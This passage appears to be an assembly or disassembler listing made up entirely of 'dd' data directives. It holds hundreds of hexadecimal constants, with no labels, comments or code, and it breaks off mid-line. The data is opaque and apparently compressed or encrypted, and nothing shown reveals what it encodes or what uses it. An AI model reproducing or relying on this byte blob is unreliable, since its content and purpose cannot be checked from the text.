dd 0C151FB31h, 0B2FCCC3Ch, 2CCF530h, 29BC0006h, 6407E663h dd 0DB004618h, 0A4109BC6h, 7671DEh, 0A12408C4h, 98B402DAh dd 48B10400h, 0C59B8881h, 11B072h, 8D73D7E4h, 43300C5Dh dd 3FA4FA03h, 0D0780E66h, 65CBB2h, 0DD48C19Eh, 0A7614957h dd 2A00F573h, 566E5853h dd 0D14CA3h, 0E985E6F9h, 48164544h, 1455BD00h, 388B80BFh dd 332C0087h, 266B112Eh, 4900E494h, 0AEC76745h, 1D25157Ch dd 4080DB16h, 4241C3B8h, 2AEAF760h, 39299600h, 214389B2h dd 0A0A8005Ah, 590BB55Bh, 0F6EE1D3Ch, 0C6E9EE00h, 99B07FBEh dd 0E6D40033h, 7C167E12h, 0E500C134h, 84CC2DAAh, 222642h dd 0BD32B4BEh, 0ACAB8620h, 2CB74000h, 0E9823C31h, 48A57601h dd 0B00632CBh, 31A90232h, 0D5526500h, 0E1FAADACh, 42E80F25h dd 803D44DFh, 0BE4584DEh, 88C1BA71h, 0C4398882h, 0E0FB32CCh dd 0CC7B3Bh, 0F5578E62h, 38AAC622h, 0B3DAB800h, 1FA4685Ch dd 0F7E00039h, 0BB0DAF5Fh, 0C80038D4h, 0FCC9D45h, 97D908B7h dd 7498E450h, 566A0A00h, 7FBD3711h, 39F018h, 556F4F9Bh dd 0F2EE8A5Dh, 14506200h, 0ACEBE382h, 32F60063h, 0E980D24Ah dd 0B0003A31h, 0C6C05C0Bh, 64C5B20Fh, 4ACBF17Fh, 0FD00BCF3h dd 88A80AF0h, 0F6F90669h, 20B1DF06h, 8028973Ch, 90EB8636h dd 48E9B3h, 0EE2AB727h, 304A9D10h, 0B0E10428h, 61AFC930h dd 91BC8h, 0F58A8243h, 3F234814h, 495B3100h, 0C787CF13h dd 37D703FFh, 0F743FB4Ch, 83711990h, 7C977E00h, 6052B6ABh dd 0E0A94FCFh, 0DF129CDAh, 950399BAh, 0B07BD808h, 0CA2E7Dh dd 46842957h, 936A8E88h, 72B91A0Bh, 0A0AE8ECFh, 0CDF6E5B8h dd 58111E91h, 7EBC8017h, 85DAB224h, 223638C1h, 9F713E92h dd 3EDCEE8h, 9FB11D7Dh, 0A591031Bh, 7E18BDE5h, 2EE85B4Bh dd 80715918h, 0F0008ABh, 660A9C78h, 0FD180Ch, 0C379D829h dd 9A3CF962h, 923BA11Dh, 120030E8h, 51A8AF7Fh, 7A8CFDh dd 4FF3B9B8h, 34F19C01h, 3A8E8708h, 11748772h, 26F04C7Eh dd 24A09A7Ah, 0F43E0E9Eh, 588D0078h, 0AA7C95DFh, 8B3000FCh dd 3B28F9ECh, 94CF679Fh, 16C2A157h, 0EF0EE10h, 22C600A4h dd 1F51605Dh, 0D907F7B0h, 1CE59B63h, 112DBE10h, 889C0015h dd 0B337EA9Dh, 14000A12h, 0F820A94Eh, 7A1641E6h, 3D512C58h dd 0DCC900ABh, 0BF50BAAFh, 2E5CAA00h, 41ADE19Ch, 0BD393AA1h dd 0B878A800h, 5D5B9A50h, 7CE8DC00h, 1E4E970h, 0A55F3003h dd 8A9FB0A0h, 22D2601Dh, 691F50B0h, 0EFB103B7h, 0D41E3C9h dd 0A181DCE0h, 1E4730C5h, 7611F880h, 48ECF015h, 0FF00785Dh dd 5F85062Dh, 0E000BF81h, 10765E98h, 7D8876Eh, 7A2F180Eh dd 80FBA023h, 6B008AF4h, 593A711Fh, 0FF1FCh, 110E610Bh dd 9E9170Ch, 0FE55FB00h, 0E4B447BBh, 81863C2h, 201F0DFFh dd 54804AF7h, 3A0787A2h, 0EB620376h, 0F3E6CC6Fh, 110A5110h dd 3F5640C0h, 0E5FA9FBAh, 21366184h, 0D0BB47FCh, 0CA003DADh dd 4580444Ah, 7C26FD1Ch, 919A1352h, 96650194h, 80E1BA6Ah dd 438E9338h, 0C069E7F9h, 0CBF64998h, 0B036DEDh, 336616B8h dd 0C0A3B4h, 0CBBF3221h, 11BD82D2h, 0DBEBB200h, 7D601DF0h dd 0F2220352h, 0E916D39Ah, 0E0583060h, 0C0E66AA4h, 29FFB710h dd 3C0393F5h, 242C283Dh, 0BBA0A13Eh, 80D6209Fh, 659ADD29h dd 0C3174FC4h, 71016F12h, 6A9521A1h, 30798CDCh, 3B180DF0h dd 71812DA2h, 7C1215F0h, 172B010Eh, 2C807EDCh, 579CE011h dd 22661307h, 0C810CE85h, 0B3E0FEh, 1439ACA4h, 98A6BCF9h dd 0D6F71A00h, 9C5B727Ch, 692800FBh, 0EB6B07E4h, 6372AF10h dd 0CAF44400h, 0C44AE388h, 0F04900FFh, 0AE01379Fh, 55014CB5h dd 0EBA44DDAh, 93DCE20Ah, 6F470092h, 699AE475h, 0F201178Ah dd 1AE09782h, 483099F3h, 21233B12h, 0FF5AD887h, 0F7FCB79Eh dd 4AC39076h, 0B2031DE4h, 70C686A6h, 0F5A8C087h, 0A233006Eh dd 4225641Ch, 0D800A12Ah, 0F7819302h, 7BF0B6Ch, 17DB06F8h dd 2C16F076h, 37FCDD35h, 95E2BB00h, 0FA2BABA6h, 0F2F500C8h dd 0F1C4821Ah, 390EBAACh, 0A04D1154h, 868D4428h, 752F1D93h dd 82090C5Bh, 65000C20h, 0DC8F0FBAh, 5FDE73h, 2ED0CBBBh dd 0AEB158BEh, 0F3BFF90Eh, 0B83F6078h, 0D386946h, 0F764A436h dd 0F4688122h, 0CF94E843h, 3128CBFCh, 0E008011Fh, 222080B0h dd 4CB9E8BDh, 51DE0129h, 5C88D059h, 5E9FE09Ch, 0A8B168DBh dd 0E26DFB70h, 0DA11C59Eh, 4224806Ah, 0BA001C17h, 0B9FF6637h dd 0B53F9A0h, 146D68B1h, 0E760B300h, 1518313Ah, 6651C54Ch dd 5DF70041h, 52F5956Eh, 0A3011F9Fh, 344BBEB0h, 92E06C0Ah dd 0C82C00FCh, 0F87FF2B6h, 0D5005B2Eh, 1001671Bh, 0F8F3195Fh dd 0BC6E00B3h, 0FF64FAE8h, 76001CCCh, 3947C918h, 92BF05h dd 10E2072Fh, 50BB2C1Dh, 0F7153007h, 42370C1Eh, 0B39304F0h dd 0D16200D3h, 0B7CD2E31h, 0D5001EF5h, 57EB3250h, 1CCA65h dd 5BB6C9CCh, 4BE58127h, 0D300E9ECh, 39C022ABh, 0FD521h dd 8B713448h, 462C77FCh, 884DD100h, 0C169CD65h, 0D403003Ah dd 0FCC6BF89h, 5D0084DCh, 1FCCB127h, 2FC38Ah, 814A536Eh dd 8FFEDBCDh, 28DF8B00h, 9766D5D8h, 2B030FB8h, 0AEEFF4B1h dd 9110C1ECh, 2D3C7875h, 660D06C0h, 1E18D827h, 2CD97E67h dd 56F901BDh, 0DCE4B908h, 92701A96h, 0D63EBB00h, 0FC2ABF66h dd 9A7C56h, 0B980545Dh, 0D713E8CEh, 2CCC600h, 5FC98B99h dd 0DDE203A8h, 0DFF8FF10h, 4B802101h, 41DE140h, 0CCA7FCh dd 3214D5D2h, 5F79729Ah, 330C0E2h, 0BEA031E0h, 7FE51DC7h dd 0F680BBBCh, 222058BBh, 9D0E3512h, 0A055EB73h, 0DC7543A8h dd 97974C8Bh, 9E513E03h, 7C887D6Eh, 8400894Fh, 0B1D81230h dd 0EF1C57h, 9CC64EBFh, 0E1D1CD9Fh, 0B4D6BC28h, 940C8CE8h dd 11B92FA1h, 0E570000Fh, 60E77A9Dh, 0C30BCFB0h, 70EE2944h dd 9BD70099h, 920B9914h, 0C00AA74h, 132CA039h, 0A8D397h dd 3BA75476h, 0AC6B7D0Eh, 8803FE75h, 0AEF94509h, 0A849F10Ah dd 0B53100C3h, 8885154Fh, 0D0E5D778h, 1400AB87h, 6269C2ADh dd 73B3548Dh, 1A1200BEh, 95E8EE42h, 93A04D3h, 17DC0099h dd 0EDDEC82Bh, 0E0A005Fh, 8CC67E13h, 71F1AB7h, 540044E8h dd 0CE846C6Dh, 631728C0h, 5CA530BAh, 0AB29E418h, 9A330100h dd 2F88AFBCh, 91280098h, 0EDD7F5Eh, 21004F68h, 0F297FFE9h dd 7B1A2EDFh, 487A0052h, 0A8ADC119h, 58EC4236h, 0CFD8006h dd 0C0601A4Fh, 3FE96B41h, 4100DCE7h, 6D82C96Fh, 0EE31F0Ch dd 0E4FB5379h, 954CFCA0h, 0D007C67h, 6DAEA297h, 0E1D29Ch dd 0E8E50223h, 6C735F0Ch, 0E24D2A00h, 37D7D3C3h, 78011DEDh dd 7BC14138h, 0F0902BDDh, 8CC2E62h, 4A2171h, 676BC4DBh dd 3261DFEAh, 4D3FCF17h, 0D23E63FCh, 0CC4278Fh, 8FD8F5A0h dd 172911C0h, 6D713478h, 0E300FA18h, 35FF3F10h, 305A8CDEh dd 0A170CA06h, 0AA184223h, 0D860A293h, 627700EEh, 2A890D97h dd 0F700C066h, 0B105528Fh, 8C6EC6h, 0CE2B0C9h, 0EEBBD9E4h dd 29180100h, 6BD10F7Ch, 263C19CEh, 81EB0823h, 8231BA21h dd 6030E54Bh, 0F560C7A8h, 86F9514h, 32C03528h, 21D25882h dd 7491E533h, 7F320077h, 19D40456h, 0BD1EC631h, 9DC07276h dd 67C59A53h, 238801A3h, 8DCA078Fh, 0BB3CE82Eh, 50AC3F01h dd 0D455D0C6h, 0E88ECFCh, 78D2405Fh, 8302CE0h, 0A901BF94h dd 0D0DA9FB9h, 59FC9DB7h, 90B8002Dh, 244266E2h, 0EB0B8792h dd 80C4473Eh, 0C607C713h, 0BBCE00DFh, 77463897h, 10FA8DAAh dd 80C27E3Eh, 569370E8h, 1C07E5BEh, 40D9D14Fh, 1ED822A7h dd 0F4E510EAh, 0D54CB99Eh, 0EC3E1CEBh, 81C5D280h, 0EF39E2h dd 0C014B370h, 19374BC3h dd 1D630A00h, 76CDE991h, 4CFA02FEh, 6B6F9621h, 33135740h dd 73EEA00h, 0F74FD23Fh, 0F42D2805h, 44DD38F3h, 5813380Fh dd 59E271E0h, 0B500973Bh, 855C6291h, 12D7EAh, 416854CDh dd 1673C0D2h, 0B05EEC14h, 0C1470098h, 5B55C76Eh, 0C0BD0083h dd 0CF7479EDh, 0D600C5D5h, 0F72CDBA0h, 52931Bh, 8F0B1F40h dd 36082663h, 0EA516A0Eh, 0BAF920BDh, 2C3C6Bh, 84E164CDh dd 0EDA95E8Eh, 6009BFEh, 87C95C3Fh, 5C6E53EEh, 0A300F247h dd 48DE8B50h, 0EF00FCC0h, 0F5064325h, 323E5Ah, 53D0DFFDh dd 45564C5Ch, 4058EA00h, 0E024F28Fh, 0DD7A001Dh, 0A9157637h dd 7200B389h, 56F0C50Eh, 0AC397Dh, 0F2291122h, 1DDFAD32h dd 0BBE87403h, 0DBA6DDD1h, 0A9680021h, 0DB516B40h, 7A013620h dd 0BD8FCB4Ah, 79840F3Ch, 0C11458EBh, 0DC8C13FFh, 7900A29Eh dd 7FD33C0h, 906EBECBh, 74730089h, 1018CC19h, 0A73CE3B6h dd 843680A1h, 3D240B78h, 0F8773Bh, 714C0F51h, 665B47F3h dd 5DDFEF00h, 0F1696ED6h, 8AED3D70h, 0E11D3380h, 2DAD4C53h dd 0E6D458h, 5002B4D8h, 74EE89F8h, 0AA860056h, 0A3994027h dd 607BF4Eh, 4CC0B5BDh, 22C6E9C1h, 5F81880h, 0B9547339h dd 9B566E03h, 3F21EC35h, 0C318CC40h, 0DE6A58C1h, 7EA6744h dd 331E7EADh, 0C0A227D0h, 0D6193FCDh, 6447B500h, 9CF40211h dd 652000AAh, 895FC418h, 0A9390F4Bh, 48E3C777h, 2C8E38B6h dd 0F7F65706h, 60F8876Bh, 124E0886h, 0F960969Ch, 0DBDD4719h dd 0BA060124h, 0D7281043h, 378450B4h, 69059A6Fh, 0E4CE6EC3h dd 2B00A01Fh, 61D5A6D8h, 523F0021h, 0D01A6065h, 0D2264CBAh dd 0AE016DF9h, 294757Fh, 0B3A3C8FFh, 0DF1F00ACh, 0CFE14767h dd 0B10725FAh, 5C2D8905h, 911324DAh, 1B4C0500h, 2B2EBA8h dd 4612156Eh, 88811971h, 80E2D302h, 1FF72E88h, 1D1CC649h dd 23BA05Bh, 0CDA66866h, 0B5788DC0h, 2FB09000h, 0D664D148h dd 0C0FCA049h, 0A7441C5Eh, 0AA898C18h, 31002E10h, 42691CD0h dd 184DE316h, 0F1DC20F3h, 0A90E4956h, 0C0196E88h, 2AE26222h dd 1B2B0015h, 3CD24DD4h, 0B4489EA6h, 94EA00CBh, 0B1B08740h dd 9F6E0EB3h, 0E48079BCh, 0C73918C3h, 0B60F3Eh, 274DF587h dd 2ABFD6E7h, 0C8F6DBh, 0BEB2484Ah, 4EB1BC55h, 0DC009EFAh dd 7384B498h, 3752A2Dh, 28B64D4Ch, 0C0E8D478h, 30F0D50h dd 690F08DFh, 0FA7EC058h, 0CCD10075h, 79FF3AF1h, 0F800FB0Bh dd 2E1F3970h, 8EBC61h, 0B92335ABh, 6C12311Bh, 88B10B1Eh dd 92C96780h, 1F5BCF04h, 1318708Ch, 0CDEDA0DAh, 722EBB00h dd 7D90636Fh, 0D2700E27h, 2180A28Fh, 0BD5B576Dh, 66000BF6h dd 5F59CDEh, 7CEF9E3h, 0F4A5EE44h, 2CB7D05Fh, 0C0F3A761h dd 7B00873Bh, 0B648A30Ch, 0F8C586Fh, 7D120F16h, 0F73BD240h dd 0ED7DA059h, 904E3Bh, 0B61E8B5Eh, 1934C4Fh, 4B012A3Eh dd 0D852FC89h, 0B3006F99h, 22C407A8h, 7CA86DAh, 2DD5DC6h dd 0D9E07012h, 0F501F393h, 0AB0967E3h, 92705154h, 0EB91DFCh dd 3B9F09D0h, 5D187181h, 19C8DC56h, 2F653900h, 91F9FDEDh dd 0AC870E6Dh, 9C208610h, 0D688CF78h, 0FD717600h, 3DFE3625h dd 0D83F0083h, 49498DAh, 3E01E3FBh, 2CEA7968h, 418091EBh dd 0D221D93Dh, 84002E1Dh, 965BB28h, 756333Ah, 0C07449E2h dd 0BD5D5130h, 65B3E09Dh, 6CC8D00h, 0DD4A2E9h, 3FB7FE34h dd 12808E21h, 0C4FED5D6h, 0F801D1E0h, 57C2B3E3h, 0F0BAEB43h dd 971C4287h, 9D17A03Bh, 6B001682h, 0C8D0083Fh, 0B42849h dd 0D29F7AF5h, 0C1EAA848h, 5A136300h, 0EB094E70h, 7AE43Dh dd 0E1E6F032h, 56EF10C8h, 0B6C52500h, 0E9823F38h, 224F002Eh dd 9418CD45h, 0D598B51Bh, 0BC1C780Ch, 79F9FBh, 9B8446FDh dd 0F4EF4E25h, 1AE090B8h, 5F0083E0h, 227EBB92h, 7FE81Bh dd 0C0C3FF48h, 2984E9A6h, 0D7F73300h, 22CF70F9h, 0B12801E0h dd 85534DD9h, 69632031h, 0C91B610Ch, 34438E1h, 4F25BE50h dd 0B3CF0908h, 0AFD87B76h, 6200F97Dh, 36A9A6C6h, 0CAB79Ah dd 0CD94F22h, 0D5968611h, 43B20500h, 0FB60C247h, 0E91C00EEh dd 937B6AE2h, 5D00F90Ah, 23FE28A3h, 2489ECDDh, 8445A5h dd 185E0D4Eh, 7F002417h, 0A9153F5h, 73A40850h, 59C20056h dd 0C694336h, 7C3B1228h, 0D95F003Fh, 1465C985h, 0D38704F7h dd 9172B57Dh, 0C4A8FE58h, 30306194h, 0DD5190E0h, 0C6184852h dd 0BFC9C600h, 1420E47Ah, 1E002271h, 0EDB15D62h, 126F2F71h dd 0BE793h, 4D149264h, 38385733h, 81DBB89Bh, 0B8C9CC69h dd 0DCD87665h, 0A5B91271h, 0B1604752h, 92AF0093h, 8A88C4A9h dd 0C7A6078Bh, 207ABA1Eh, 7DDD50A1h, 0DE529100h, 51C599DAh dd 9F8A0F7Eh, 48C06313h, 0C65D12FCh, 0FEB2811Bh, 2CA59938h dd 0C40E60h, 6DDACAAAh, 47C0A4D7h, 6E79F00h, 99AD28FEh dd 30817AAEh, 5EA827C9h, 8D006C75h, 3AE153B1h, 384FE015h dd 58603530h, 82995AA0h, 482C2D39h, 6EB00148h, 369C2F6Ch dd 0A83F60h, 0F9F81386h, 4FC592A7h, 0EC5A2400h, 0B9D164FDh dd 0CD251ED6h, 8208C0A6h, 6C16DE6Fh, 0B4D05500h, 6380FB8Bh dd 0E07489h, 0A81D432h, 6021C720h, 9E01AA12h, 2CEC2807h dd 4BD18590h, 64300059h, 0E5D06C14h, 3FF415C5h, 2B7A3300h dd 0ED450978h, 47D6A080h, 1A8400D9h, 652ADD87h, 360089EEh dd 5B862976h, 767B03C0h, 0C382007Dh, 130B195Ch, 0AD00E0A8h dd 8EFF440Fh, 12FB0969h, 1AF3394h, 0AB503A50h, 53C6E0BDh dd 47153F04h, 6CD0A94Bh, 0CC162Ah, 65A84555h, 0F79FBD57h dd 0C83ADF00h, 0A558A7A9h, 0B3600068h, 0DB1146F2h, 2005E0Fh dd 0E627556Dh, 0EE802CA0h, 0E0E7DE5h, 0AD7F0BD0h, 0E0148447h dd 0C18ADC50h, 0B80ED976h, 87284FD6h, 0FAA0CB1Dh, 1E1C0265h dd 5EB0AC18h, 41A44Dh, 0D1F4E83h, 0D83B1BD7h, 26682CCCh dd 1D862F01h, 0BDEC9CD1h, 3578A9h, 0BC79E312h, 0CDA8B52Eh dd 9D309400h, 99439E02h, 0CE65198Ch, 0D95D6008h, 3296F0A5h dd 0F503F890h, 0BCA0D7B9h, 1504D846h, 0D59885h, 0B6262BAAh dd 0C97CB54Dh, 0D8E9801h, 2F49E301h, 240B8420h, 34FB14h dd 2B435AFDh, 660736A0h, 0B1FA71A6h, 0F87286F0h, 5DCC00FCh dd 2522D6D1h, 0DC098F32h, 0DED9BDh, 1B5F5AE0h, 7DA53052h dd 0A8674C61h, 6321BA60h, 5D029Ah, 6505176Bh, 0EE54599Dh dd 1923F41Ch, 514C3E03h, 0B1D3C872h, 1BB70099h, 1F27B22Eh dd 0D0030284h, 0BA12D8F3h, 0BD5AA8CAh, 0B1CCA069h, 73D500E9h dd 5535A3FEh, 3600EFDBh, 7E544447h, 5C93339Ah, 161FC929h dd 87E2426Eh, 5C6161D0h, 35D3D053h, 92043400h, 19EE103Dh dd 1A9605B3h, 80C97695h, 0FF21C40h, 4484F00h, 7311056Ah dd 503F0118h, 0CD4B84FEh, 332B70BAh, 28D9221Ch, 44F41180h dd 5AA369h, 8D9F0BFDh, 30B8833Fh, 9E339000h, 0F615035Fh dd 0F74A14B3h, 0EF00A723h, 9071600Fh, 111EC03Ah, 98A6F0D1h dd 36B1FF18h, 235500A2h, 290E0345h, 7D00A9F7h, 746A95BDh dd 0C4705Ch, 0F4DA019Bh, 0F1039371h, 862D6500h, 7ADD4EEh dd 0F44CFC42h, 0D25A0031h, 35E1B623h, 0F8582621h, 0AE4D045Dh dd 0E8C058BBh, 723D8Ah, 79C8AFAAh, 0FAD88693h, 0A9001490h dd 0FC293C1Bh, 5BF63Dh, 32F46C03h, 5C9278E7h, 0D0E36200h dd 0E4863628h, 996B005Bh, 0B54C7981h, 0A0072096h, 0D0904B24h dd 0A66CB21h, 129589E0h dd 20A891DBh, 820CF27Ch, 0EAA77E0Bh, 1B1680D7h, 3EA8EC93h dd 9C80D874h, 0F55BD625h, 3C02D4AEh, 0F6702441h, 28186034h dd 0F61EC77h, 225D9CCFh, 7842B640h, 84300B18h, 17CEC8CAh dd 80B4A137h, 90794CECh, 1C1C9B72h, 3AFB80C2h, 527015A3h dd 47C8F050h, 0AF2A810Fh, 2CC164BFh, 0D1184891h, 6A2C5C0h dd 0D039491Eh, 8300B092h, 0A9CA3E35h, 66F4B52h, 31D45CAFh dd 88C0BCF7h, 0A5B35ADBh, 60534971h, 77433500h, 0E52CE439h dd 1448702h, 44552378h, 8A070B04h, 0F2D613E7h, 3F75D700h dd 193BD6D2h, 58FCEC2Dh, 59BBC4B1h, 0D09D7D00h, 5B6681B2h dd 0CADA00F9h, 0B949B62Bh, 6F003918h, 409FF5EEh, 0A2E190h dd 5BC17D06h, 0C4C5D23Dh, 1FBD11Ch, 2007258Eh, 1B58862Ah dd 6FC6009Eh, 0B68D58Eh, 51009698h, 330643C3h, 588CFE15h dd 0D10025CDh, 0C07913E4h, 7C074651h, 91A1ADDCh, 908B3B62h dd 59B66CA4h, 0C600A49Ch, 6FF8EBDDh, 0DC006506h, 7708AABh dd 4C9501BCh, 0AF24F452h, 5D0C28DDh, 0BA004850h, 1E413780h dd 5B004DA4h, 0A739CF0Fh, 0F8ED5FD3h, 789600EFh, 5C5349E7h dd 0C004D1A3h, 3FA4E302h, 0CC6540C0h, 31353069h, 0E580CE60h dd 17001BF6h, 0A8A24071h, 92E19A39h, 0A066B030h, 724FA30h dd 2113AE12h, 8AC06F8Fh, 0E4A0770Ah, 82A0724Ch, 303E4CC5h dd 36045428h, 71E1517Dh, 83884CC0h, 73ED0099h, 1521C7Ch dd 7A01BD4Ch, 0FD164D30h, 86D4E63Ch, 55D60143h, 0F6768B8Ch dd 0B3A560E2h, 9E0B5807h, 0E514F250h, 5F6D4B81h, 4F43ECDh dd 0C8D00069h, 510E6E4h, 5BF279BDh, 0FFF32800h, 61269624h dd 173F0341h, 0A6447F10h, 1C7AC280h, 66F23100h, 5DFC953Bh dd 486BFEAFh, 173ACF7h, 0FD348285h, 0C0392384h, 5800F57Eh dd 59671786h, 17F2F4B4h, 9F34988h, 4441A2Ch, 0CD0F2346h dd 0CBE3E8A1h, 0FFD7D45Dh, 91548B60h, 5300F57Dh, 0A7200736h dd 14592FBh, 9FB4DF0Ah, 201D4B7Bh, 96002D18h, 0A96DCD36h dd 1F3B4101h, 0C019BD5Bh, 0A1D4B946h, 5007677Eh, 800E1CEDh dd 914183Bh, 0EC4F4970h, 6B6001F7h, 6E0C2034h, 0B790E02h dd 802BB429h, 42359DFEh, 8060916Ah, 0FCEDAE17h, 190760D7h dd 393B5DA3h, 280D7B30h, 3EF273A1h, 298230F8h, 926B8C61h dd 606E22C1h, 4C00ACE7h, 95D23C64h, 0E9A2F2Eh, 2DBD0E9Eh dd 4F04F860h, 280023A4h, 2F529E1h, 31F4A99h, 0FC15BA8Eh dd 7EE3BCA2h, 0FEB270CFh, 0DE1C0491h, 0B10026E3h, 5BAF1B2Eh dd 316900C6h, 0FE5C059Eh, 15031381h, 25DDC5C9h, 47E8D08Dh dd 0F45A1DA8h, 183A03BCh, 0D898642Fh, 94077A6Fh, 0CF1E0C7Ch dd 4C7EDE0h, 0D93200DCh, 749835BFh, 0AD0025BAh, 8C9AF95Eh dd 0F7D438h, 316B9C24h, 72FB67E4h, 7A150D00h, 0D877E262h dd 83C10094h, 63C94DD7h, 5B3F914Ah, 0EE6701FAh, 9A5E0D25h dd 43B1CF0h, 84F8C292h, 102DC076h, 3774CE2Bh, 69C5500h dd 9651804h, 52211E7Ah, 80BBDF60h, 4CBE1BADh, 0EA00B280h dd 0DD401667h, 0DB320EFh, 2DF4E66Ah, 8FF9D098h, 0D6000173h dd 0D9F37D47h, 75DF2286h, 3273007Ch, 0E9991985h, 7D0782EFh dd 0D31A0B8Ch, 0F6AACE0h, 483060E0h, 0E16BF225h, 96C47809h dd 8B18804Ch, 30987D17h, 860D2E0h, 453C2CA7h, 0DA99488h dd 60CCDC60h, 0E3384Fh, 47D740F8h, 42DC0A1Bh, 25B1CF38h dd 49700Bh, 0C73AC2E0h, 0CB7048F5h, 4260D516h, 0BC9A9100h dd 0A3430Eh, 23CFECF0h, 215FB4AEh, 0B1C9A900h, 6A3A82BDh dd 898B172Bh, 0A3A900ECh, 4E2E52FBh, 5494B807h, 0EF3006FFh dd 58590Ah, 0DF5E703Ch, 3A035C22h, 3FC623Ch, 0BEA049Fh dd 14B0967Bh, 0A0B72E47h, 8FD8AB01h, 0D1DC309Bh, 0D4B834C8h dd 3AB7C61Ch, 8D2B0078h, 0A3A08E26h, 11C2019Bh, 0B11AEA35h dd 3301C055h, 0F14F8F03h, 9034943Ah, 15D1E3EBh, 380C2B05h dd 42BA3701h, 0DDC337Dh, 0F858EEh, 0C6B9B4A7h, 1774D998h dd 480B4974h, 80F5C235h, 3C9AB7BCh, 10D4AB94h, 0C91A0861h dd 0D4690238h, 85309039h, 5AD0C05Eh, 0D670B756h, 7BE72F00h dd 88C89E10h, 7037011h, 3B0CA489h, 504B294h, 5F402C92h dd 232A7D6Ch, 0B1302CD7h, 42992008h, 85DA03BAh, 0C4A856C8h dd 0F89CA100h, 0AA92A7E9h, 38550087h, 0E2EC536Ah, 1670DD68h dd 0AAD229C0h, 0F7DCF4h, 2EE134F2h, 61FCBB1h, 4A83FC00h dd 0B271CD2Ch, 7E180C55h, 0E510483Fh, 90A82900h, 0F51776BAh dd 4E8503CFh, 0D109B066h, 0E46C7E17h, 4C3B407h, 28D2C0DEh dd 0BF6999h, 899E6D53h, 0CB5767C5h, 0F0ED2901h, 0A4817A25h dd 56AED4h, 0CED0A972h, 43B70CD4h, 7100C6F2h, 0C25BA380h dd 3E6D0863h, 64007FDEh, 0C19813C5h, 0A300EA6Bh, 576AC36Eh dd 0FA826D2h, 0B9E082D9h, 8EAEE740h, 7F01C7A1h, 6E4B1F21h dd 6930C1A8h, 0EA7D00C8h, 0C467C243h, 0D600BF3Fh, 726BED3Eh dd 2D2309Dh, 0AE042923h, 1260D99Eh, 0ED004D54h, 0B10B711Fh dd 1D35AC1Bh, 407BA43Ch, 3E1557D7h, 7800DBF3h, 0BB867CF9h dd 9264F11h, 305FBD72h, 35048C81h, 39A06081h, 0ED15B900h dd 80CD4AB5h, 0DE0B00B4h, 0A58F7E3Eh, 19071836h, 523AB14Ch dd 711DAEB0h, 0EC200004h, 0F4E1C960h, 0E901AA5Bh, 68BDD766h dd 45EC3D48h, 0CB160017h, 8EFE7744h, 546013FFh, 0C4B93F18h dd 6CE41CA7h, 31E07C96h, 71E2DDAFh, 808C7B3Fh, 1D189583h dd 0C021C6h, 4877B92Fh, 76DB43C7h, 0EF7EC200h, 9DE66B2Bh dd 51E51FC0h, 0F05D1FE0h, 6952372Ch, 0EA5BD514h, 97BD0094h dd 0E55064A9h, 184A2805h, 0B4F700A0h, 52DE601Ch, 0B1D2712h dd 4794B7C7h, 9A1D0094h, 0F0347803h, 1FF0063h, 0EF092B77h dd 0F7002C35h, 1E4C5098h, 3E10DBD9h, 0FC37F6E6h, 0CC7AE018h dd 9E00D12Ah, 0CFB6044Eh, 7B7565h, 4374B272h, 0DBE03DEEh dd 8A008CECh, 75778021h, 12915F1h, 0FF34357Ch, 7F0AA8h dd 3C7D05E6h, 0D31E556Bh, 0A9C1C01Fh, 0B27938CEh, 0DD4F2E00h dd 0EFD0B811h, 0B9F4000Bh, 717155Bh, 78E06155h, 72963000h dd 9BA41F82h, 0A5BA07F9h, 0C15D08CBh, 80D078FFh, 617A5BA0h dd 3CC9A39Bh, 0B00077E9h, 0E7A404FCh, 0A7184039h, 6308321Eh dd 5B7300BDh, 9054F62h, 19076E80h, 3AE876B6h, 3EB7FDC0h dd 2C1C0578h, 213D985Eh, 0F4EF5D88h, 297D1257h, 3B499100h dd 4BBFD5E5h, 0CEB10052h, 60FACBE7h, 0C2051BA5h, 892F5E1Fh dd 580046ECh, 6109CAABh, 0F700F272h, 0FF01AE60h, 4C6CC20Bh dd 6D07BE1Bh, 20E0E4F0h, 0B3FC8653h, 778DE4FFh, 75B0E607h dd 26D07A08h, 279B1Ah, 700D684Bh, 12C22CD9h, 0A3EEBE00h dd 8F29A5B0h, 14AA039Ch, 0C06FF956h, 7AE86CE3h, 65075F60h dd 81CCC1D7h, 485021B7h, 5B8361h, 7DF45CE9h, 52C562CFh dd 0DC3D2300h, 3F2B4C85h, 0A99D0193h, 19890B61h, 3ACC30DEh dd 595F8300h, 0A452B815h, 5103006Ah, 0F46E7CCh, 0D3007933h dd 2BEE8950h, 763D82Fh, 0BB6783ABh, 72CC30F7h, 0C4007BDAh dd 10E5F918h, 2586259h, 22894293h, 0C1C04E3Bh, 38000E35h dd 2C5BAD50h, 7834142Ah, 2B50145h, 0CCD30F8Ah, 72788004h dd 30107F16h, 0C3F3010Dh, 35AAC73Dh, 0D6D08261h, 40EA060Fh dd 0F5FC3Fh, 99FFF62Fh, 1F20C155h, 313BDD03h, 6E97D0h dd 0C2A53ED0h, 30CFFC93h, 7213B507h, 23A06D69h, 60ACA62Eh dd 0FCF5303Ah, 0AB004AC7h dd 0EA055CC0h, 0F471A9Bh, 2DE5D4F7h, 27309A80h, 95009981h dd 311C5CFFh, 73F0B91h, 2C17F907h, 88D0C10Eh, 37E6C06Ch dd 0B6890600h, 5BA46A14h, 45190102h, 2D7922E7h, 0CE66D4F0h dd 4E005C7Ch, 0C09593CDh, 0EBCB73h, 981D0B4h, 5A30E36Eh dd 68ED7218h, 2C7D59h, 0D28DA26Bh, 0B2977B0Eh, 8556B10Ch dd 7C9846h, 0E6CCE359h, 9065A317h, 916D4402h, 80F35A4Bh dd 8AFFEFFEh, 0CFF8180Bh, 0AE6F98A3h, 14334302h, 60CC7D2Eh dd 0C0C33497h, 41C46071h, 0F900CF23h, 0B2A5AAD4h, 60F59815h dd 0DE47C163h, 2DE64A73h, 0C7E0FD00h, 0ADC650B2h, 0EF8102D2h dd 0C4BD7E71h, 7EE55810h, 3DD6101Dh, 71FD8685h, 334E3E20h dd 3A9E1F80h, 29F467D5h, 81095124h, 9BA02D18h, 0D8640096h dd 0C1627FB3h, 0EB00CFB9h, 50AB71BFh, 270CB6h, 21347097h dd 1D3549ACh, 4CF92E38h, 652E7507h, 5204618Dh, 13C76454h dd 5BFEDA50h, 0A44A0014h, 0CCAE7B7Dh, 1500B1ACh, 9C6BE6Dh dd 78C8165Dh, 0C020C7E8h, 85BC70A0h, 1E00D025h, 0D77C9AF3h dd 94E7EBh, 12C63D1Bh, 0D12382FBh, 9AFD5007h, 0A86048F6h dd 